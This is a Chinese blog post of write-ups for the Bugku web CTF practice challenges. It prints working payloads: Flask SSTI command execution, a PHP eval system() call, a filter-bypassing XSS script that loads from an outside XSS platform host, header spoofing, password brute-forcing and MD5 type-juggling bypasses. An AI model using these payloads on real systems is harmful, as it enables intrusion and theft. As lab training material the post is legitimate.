Web专项—基础题目
注:web_基础题目以bugku练习题目为例!
第一部分
web_1_Simple_SSTI_1
(1)思路:
启动场景网页显示You need pass in a parameter named flag。//你需要传入一个名为flag的参数
查看源码发现You know, in the flask, We often set a secret_key variable.
就是提示你用flask模板进行注入;经典的sstl
(2)题解
/?flag={{config}}
web_2_Simple_SSTI_2
(1)题解:
启动场景;还是提示//你需要传入一个名为flag的参数
;
尝试/?flag={{config}};在敏感信息中并没有找到flag
通过
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取系统文件
发现了一些系统文件;并没有找到flag相关的信息;可能是藏在这些文件夹了;一个一个看;发现在app文件中
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
查看拿到flag('cat ../app/flag')
web3_Flask_FileUpload
(1)题解:
根据题目名称好像是文件上传;f12查看发现需要提交一个name为file;后缀为jpg或png的文件;并且用python程序执行的结果回显;意思就是我上传一个文件;flask框架会执行里面的python代码;那就好办了!上传一个file.jpg(内容为import os os.system('ls / ')
;然后发现了网站的目录中有flag信息
代码修改为os.system('cat /flag')
;拿到flag
web4_留言板
(1)根据题目描述"题目无需登录后台";
发现了后台登录网址;然后使用xss平台接受flag
解码拿到flag
flag=flag{d27b8031110241fbe139a575cd6b76e1}
web5_滑稽
(1)题解:启动场景发现满屏的滑稽表情包;f12直接拿到flag
web6_计算器
(1)题解:限制了输入的长度;直接f12修改输入答案拿到flag;或者在url后面加上在网址后边加上/js/code.js,找到flag
web7_GET
(1)题解:一个简答的php代码审计;GET方式提交数据;直接在url后面加上/?what=flag;拿到falg
web8_POST
(1)题解:POST方式提交数据直接使用Hackbar插件或者抓包重放拿到flag
web9_矛盾
(1)题解:分析代码发现存在逻辑问题;is_numeric检测num是否为数字;如果不是数字;执行echo $num;
然后在num不是数字的情况下判断是否为1;这就是矛盾点;php代码中存在弱相等“==”
;考点就是php弱相等碰撞!
“==”首先判断两者的类型是否相等;如果不相等先转化为相等的类型在比较值;比如传递一个1admin;这是一个字符串;然而1是整形;那么需要将1admin转化为整形(1admin(str)=>1(int))
web10_alert
(1)题解:f12在源码中发现了一串奇奇怪怪的东西;发现是html实体编码;直接解码拿到flag
web11_你必须让他停下来
(1)题解:启动场景发现flag就在源码当中;但是闪的停不下来;直接禁用js;或者bp抓包重放拿到flag
web12_社工_初步收集
(1)题解:发现什么都没有;先扫描一下目录;发现了好多目录;其中有.git泄露;用githack工具看了下没发现flag;
里面有admin/login.php;看下后台吧
社工收集登录到邮箱拿到账号和密码(被哈锤子吧授权码换了;妈的
);登录后台拿到flag
web13_game1
(1)题解:打开环境,进去是一个游戏,先玩一下,是个盖楼游戏;f12查看源码;搜索sign;(需要游戏结束);sign的值为zM+base64(score)+==
MjU解码刚好是25;当前游戏的得分;应该是分数达到一定的阈值就能拿到flag;设置为9999,base64编码为OTk5OQ;使用bp抓包修改;拿到flag
web14_网站被黑
(1)题解:先扫描一下目录;发现了shell.php
进入发现了输入框;直接bp抓包破解拿到密码hack,拿到flag
web15_本地管理员
(1)题解:管理员用户假设是admin;f12在源码中发现了dGVzdDEyMw== ;base64解密得到test123;尝试登录;出现IP禁止访问,请联系本地管理员登陆,IP已被记录.
;题目要求是本地登录;就是说数据包中必须有
X-Forwarded-For:127.0.0.1
;直接Bp抓包增加这一字段获取flag
web16_bp
(1)题解:使用z+top10000字典;bp抓包爆破;不同的是这次length长度是一样的我贼!密码是zxc123;增加一层过滤 code: 'bugku10000' 搜索不匹配条目!
web17_eval
(1)题解:分析PHP代码存在eval()函数;直接构造payload/?hello=system("ls")
查看当前目录;发现了flag.php;直接/?hello=system("cat flag.php")
;f12在源码中拿到flag
web18_变量1
(1)题解:分析php代码;发现对输入的值进行了正则过滤;正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } ;直接使用超级全局变量GLOBALS或者使用_SERVER
拿到flag
web19_头等舱
(1)题解:f12;发现cookie中藏了flag信息
web20_Source
(1)题解:f12发现了flag;但是是假的;扫描一下目录;发现好多.git文件
使用githack工具或者使用wget下载泄露的源码看看
发现了flag.txt;直接访问得到flag
好像不是的;还是假的;输入git relog;发现了好多分支;一个一个找;发现了最终的flag
第二部分
web21_留言板1
(1)题解:需要xss平台接收flag;尝试写入js脚本;发现对script进行了过滤;替换为空;并且对空格进行了过滤;空格用%0a进行替换!
构造payload<sCRscriptiPt%0asRC=//xs.pe/cqW></sCrscriptIpT>
在xss平台中拿到flag!
web22_源代码
(1)题解:查看源码发现url编码的Js代码;解码之后分析代码得出如果提交的数值为p1+p2的值67d709b2baa648cf6e87a7114f1;则输出flag;看不到没关系;直接用chat跑:这段JavaScript代码通过eval执行了一个表单提交验证函数,该函数检查特定输入框的值是否与硬编码的哈希值匹配,如果不匹配则阻止表单提交,但这种方式存在安全风险。
web23_文件包含】
(1)题解:文件包含这里题目首先考虑//flag;要是没有的话看看常见的伪协议是否可以利用;比如php://input协议;php://filter协议;zip://;这道题直接//flag直接拿到flag
web24_好像需要密码
(1)题解:题目提示是5位数密码;直接bp爆破;拿到flag
生成字典:
printf "%05d\n" {0..99999} > digits_5.txt
根据返回的length的值看响应包拿到flag
web25_备份是个好习惯
(1)题解:目录扫描发现了index.php.bak文件;打开是一道php代码审计的题目;考点是弱类型MD5绕过
;使用0e开头的md5绕过就行;如果是强类型使用数组绕过
构造payload:
/?kkeyey1=s878926199a&&kkeyey2=s155964671a
(2)phpMD5弱类型:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
web26_No one knows regex better than me
(1)题解:根据题目应该考察的是正则表达式过滤;还是一道php代码审计的题目
首先接受zero和first两个参数;将传递进来的字符串拼接成字符串;首先判断字符串中是否有Yeedo"、"wants"、"a"、"girl"、"friend"、"or"或"a flag"
;通过preg_math检查是否有.. flag
等字符;如果有输出Noooood hacker!;最后还会检查$first是否包含特定的十六进制和八进制表示的字符串。这个特定的字符串是|\056\160\150\x70,经过解析后,它代表|.php;太难了;目前先跳过吧!这是大佬的payload?zero=ZmxhZw==&first=abcd|.php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构